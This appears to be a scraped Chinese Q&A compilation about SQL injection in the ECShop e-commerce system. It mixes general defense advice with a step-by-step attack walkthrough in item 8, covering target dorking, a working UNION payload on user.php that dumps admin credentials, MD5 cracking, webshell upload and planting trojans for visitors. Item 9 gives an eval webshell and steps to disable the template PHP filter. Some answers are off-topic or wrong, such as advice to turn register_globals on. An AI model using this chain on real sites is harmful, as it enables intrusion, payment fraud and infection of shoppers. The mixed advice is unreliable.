ecshopsql注入
1. ecshop sql注入漏洞要紧吗
最好修复一下
2. ECSHOP商城系统过滤不严导致SQL注入漏洞,官方不知道吗
要防止SQL注入其实不难,你知道原理就可以了。 所有的SQL注入都是从用户的输入开始的。如果你对所有用户输入进行了判定和过滤,就可以防止SQL注入了。用户输入有好几种,我就说说常见的吧。 文本框、地址栏里***.asp?中?号后面的id=1之类的、单选框等等。一般SQL注入都用地址栏里的。。。。如果要说怎么注入我想我就和上面的这位“仁兄”一样的了。 你只要知道解决对吗? 对于所有从上一页传递过来的参数,包括request.form 、request.qurrystring等等进行过滤和修改。如最常的***.asp?id=123 ,我们的ID只是用来对应从select 里的ID,而这ID一般对应的是一个数据项的唯一值,而且是数字型的。这样,我们只需把ID的值进行判定,就可以了。vbs默认的isnumeric是不行的,自己写一个is_numeric更好,对传过来的参数进行判定,OK,搞定。算法上的话,自己想想,很容易了。但是真正要做到完美的话,还有很多要计算的。比如传递过来的参数的长度,类型等等,都要进行判定。还有一种网上常见的判定,就是判定传递参数的那一页(即上一页),如果是正常页面传弟过来就通过,否则反之。也有对' or 等等进行过滤的,自己衡量就可以了。注意一点就是了,不能用上一页的某一个不可见request.form("*")进行判定,因为用户完全可以用模拟的形式“复制”一个和上一页完全一样的页面来递交参数。
3. ecshop等开源程序能sql注入吗
它能够轻易的绕过防火墙直接访问数据库,甚至能够获得数据库所在的服务器的系统权限。
在Web应用漏洞中,SQL Injection 漏洞的风险要高过其他所有的漏洞。
4. 怎么检测网站存在注入漏洞 防注入有哪些解决办法
许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。
第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用来防止别人进行手动注入测试。
可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。
第二步:对于注入分析器的防范,通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。
第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。
对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。
对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。
把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。
我们通过上面的三步完成了对数据库的修改。
另外要明白您做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。只要在管理员登录的页面文件中写入字符限制就行了,就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。
希望可以帮到你,谢谢!
5. 网站如何防止sql注入攻击的解决办法
首先我们来了解下什么是SQL注入,SQL注入简单来讲就是将一些非法参数插入到网站数据库中去,执行一些sql命令,比如查询数据库的账号密码,数据库的版本,数据库服务器的IP等等的一些操作,sql注入是目前网站漏洞中危害最大的一个漏洞,受攻击的网站占大多数都是sql注入攻击。
sql注入攻击用英语来讲Structured Query Language,在网站的编程语言当中是一种比较另类的网站开发语言,我们网站安全行业通常来讲sql是用来数据库查询的一种网站开发语言,同时也是一种脚本文件的一个文件名,通俗来讲sql就是用来对网站的数据库进行查询,以及增加,写入,更新数据库的一个sql数据库操作。
关于数据库我们分为2种数据库,一种是关系数据库,非关系数据库,那么目前网站使用的都是关系数据库,关系数据库分为sql数据库,microsoft sql server数据库,ACC数据库,mysql数据库,oracle数据库,DB2数据库,postgresql数据库等等的关系数据库,非关系数据库分为nosql数据库,可以存储很大数据,针对于一些并发较高,存储较多,云计算的场景,频繁读取写入的数据库,像memcachedb,redis,mongodb等等非关系数据库。
那么什么是sql注入呢? 简单来讲就是对网站强行进行插入数据,执行sql恶意语句对网站进行攻击,对网站进行sql注入尝试,可以获取一些私密的信息,像数据库的版本,管理员的账号密码等等。
关于如何防止sql注入攻击,我们从以下几点开始入手
首先我们可以了解到sql注入攻击都是通过拼接的方式,把一些恶意的参数拼接到一起,然后在网站的前端中插入,并执行到服务器后端到数据库中去,通常我们在写php网站代码的时候会将get ID这个参数值获取到后直接拼接到后端服务器中去,查询数据库,但是如果拼接了一些恶意的非法参数,那么久可以当做sql语句来执行,如果防止sql注入呢?
为了防止网站被sql注入攻击,我们应该从一开始写代码的时候就应该过滤一些sql注入的非法参数,将查询的一些sql语句,以及用户输入的参数值都以字符串的方式来处理,不论用户输入的什么东西,在sql查询的时候只是一段字符串,这样构造的任何恶意参数都会以字符串的方式去查询数据库,一直恶意的sql注入攻击就不会被执行,sql注入语句也就没有效果了,再一个就是网站里的任何一个可以写入的地方尽可能的严格过滤与限制,漏下一个可以输入的地方网站就会被攻击,网站就会被黑,所有做的网站安全就会没有效果,包括一些get,post,cookie方式的提交都是不可信的,像数据表里referer user-agent等字段都是可以伪造,写入sql注入语句的,像前端时间爆发的ecshop漏洞利用的就是user.php,伪造referer参数进行了sql注入,执行了远程代码。
再一个防止sql注入的方法就是开启PHP的魔术配置,开启安全配置模式,将safe_mode开启on.以及关闭全局变量模式,register_globals参数设置为on,magic_quotes_gpc参数开启,防止sql注入.如果对网站防止sql注入不懂的话,也可以找专业的网站安全公司来做安全,防止sql注入。
6. php sql注入 ecshop怎么绕过后台登录
可以用JS实现跳转,代码如下:echo "<script language=javascript>alert('删除成功!');history.back();</script>";,
这样如果楼主还不清楚就去后盾人学习一下那边有高清视频教学
7. ecshop sql注入漏洞是什么意思
注入是指SQL语句的WHERE条件部分
如:"SELECT * FROM tUSER WHERE fUSERNAME = '" & 变量 & "'"
变量里面是一串字符串,例如输入"王东东",那么SQL就变成:
"SELECT * FROM tUSER WHERE fUSERNAME = '王东东'"了
但是有人输入了这样的字符串:"王东东' OR '1'='1",当替换变量的值后,SQL语句就变成
"SELECT * FROM tUSER WHERE fUSERNAME = '王东东' OR '1'='1'"了
于是,这条SQL语句的条件就永远是真的了。注入成功,如果是用于密码判断,就通过了。
8. 木马是怎样攻入Ecshop商城的
Ecshop是一套网络商城建站系统,主要服务于想快捷搭建商城系统的用户,该系统是个人建立商城的主流软件。
在网络上,主要有两种类型的网络购物,一类是像淘宝这样的C2C站点,另一类是像卓越这样的B2C站点。B2C站点除了卓越、当当等大型站点外,还有很多规模较小的B2C站点,由于这些中小型B2C站点数目较大,因此每天的成交量也非常可观。
这些的中小型B2C站点通常没有专业的建站团队,站点都是站长通过现成的商城程序搭建起来的,其中Ecshop网络商城系统用得最多,因此一旦这套系统出现安全问题,将会波及网络上所有采用这套系统建立的B2C站点。
但不幸的事情还是发生了,Ecshop出现了严重的安全漏洞,黑客可以运用 该漏洞入侵站点,窜改商品价格,更令人担忧的是该漏洞可以被用来挂马,所有访问商城的用户都会中毒,他们的各种账号和密码可能被盗。此外,黑客可以修改站点的支付接口,用户购买商品时货款会直接打到黑客的账户中。
本文主角:Ecshop商城 V2.5.0
问题所在:含有SQL漏洞
主要危害:用于挂马、入侵服务器等
Ecshop存在SQL注入漏洞
运用 Ecshop漏洞须要用到SQL注入。由于程序员的疏忽,没有对User.php文件中的SQL变量实行过滤,从而导致SQL注入的发生。黑客可以构造特殊的代码,直接读取存放在站点数据库中的管理员账号和密码。
漏洞的运用 非常基本,只需在站点地址后输入“user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*”这样一句代码就可以读出站点数据库中的管理员账号和密码。
挂马流程揭秘
第一步:寻找入侵目标
在网络或谷歌中以“Powered by Ecshop v2.5.0”为关键字实行搜索(图1),可以找到很多符合条件的站点,随便挑选一个站点作为测试目标。须要留心的是,站点越小安全防护也越弱,成功率相比较较高。
第二步:获得管理员账号和密码
打开测试站点,在其网址后输入:user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*。
例如该站点网址为http://www.***.com/,则完整的漏洞运用 地址为:http://www.***.com/ user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*。
输入完毕后回车,如果看到类似图2的界面,则说明漏洞被运用 成功了。在返回的信息中,可以发觉很主要的内容,包括站点管理员的账号、密码及E-mail地址。从图2可以找到,管理员账号为admin,密码为。密码是经过MD5加密的,所以看到的是一串32位长的字符,须要对这串字符实行破解才能看到真实的密码。
第三步:破解MD5密码
虽然密码经过MD5加密,但是通过破解是可以得到密码原文的。将这段MD5值复制下来,打开MD5在线破解站点 http://www.cmd5.com/。
把这串MD5值复制到站点页面正中间的文本框中,点击“MD5加密或解密”按钮,密码原文就被破解出来了——admin1234(图3)。当然,破解MD5值靠的是运气,如果管理员将密码配置得很复杂,例如“数字+字母+特殊符号”的组合,那么就很难破解出密码原文。
如果MD5在线破解站点无法破解出密码原文,那么也可以采用MD5暴力破解软件来实行破解,当然耗费的时间会很长,在这里就不多作介绍了。
第四步:上传木马
既然管理员账号和密码都已拿到手,接下来我们就可以登录站点的后台了。在站点网址后输入admin并回车,将会出现站点后台登录页面,输入管理员账号admin、密码admin1234即可登录。
来到后台,我们可以看到Ecshop的站点后台功能是非常多的,当然这也给了我们上传木马的机会。点击“系统配置 ”中的“Flash播放器管理”链接(图4)。打开后再点击“添加自定义”按钮。
这时我们会来到一个上传图片的页面,在这里不仅仅可以上传图片,还能轻轻松松地上传木马!这里我们选择一款功能强大的PHP木马,点击“确定”按钮即可将木马上传(图5)。
上传成功后,进入“轮播图片地址”,在这里我们可以看到上传的木马的的路径(图6)。
将地址复制到浏览器地址栏中并打开,可以在里面任意浏览、修改甚至删除站点中的文件(图7),最后就是在站点首页中插入挂马代码,当用户浏览商城首页的时候,就会激活病毒,病毒会偷偷地入侵用户的计算机。
防备方案
要修补该漏洞,须要对User.php文件中的SQL变量实行严格的过滤,不允许恶意调用变量查询数据库。普通读者在上网时,最好运用能拦截网页木马的安全辅助工具,防止网页木马的骚扰。
9. 怎么去掉ecshop模板文件过滤php标签
最好不要在模板里面写php。会导致sql注入,引起后台账号泄露。
ECshop的模板是支持php代码的,这个给一些不法分子创造了挂马的机会,这些不法分子挂马步骤很可能是:
1、通过ecshop的漏洞搞SQL注入,暴出管理员密码md5值,然后通过**md5得到管理密码。(注:防止暴出管理密码md5值的方法是关闭display_errors,并且修改cls_mysql.php里的ErrorMsg函数,注释掉所有错误输出代码或把错误写入文件)
2、进入管理后台,通过模板管理->库项目管理,编辑lbi文件,添加php代码,例如<?php @eval($_POST['lx']);?>
3、到这里,就完全控制这个站了,想挂什么马就挂什么马。
可见,ECshop的模板支持php代码这点是非常危险的,因此我们应该过滤模板里的所有php代码。
如果实在要去掉ecshop模板文件过滤php标签
修改 includes/cls_template.php
可以遵循以下步骤:
去掉第288-299行以下代码:
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
这样,模板里的php代码就被保留了。
10. SQL注入高手来,或者复制ECSHOP模块。
晕,ecshop的源码都是开放的。。。。自己去官方下一个自己研究啊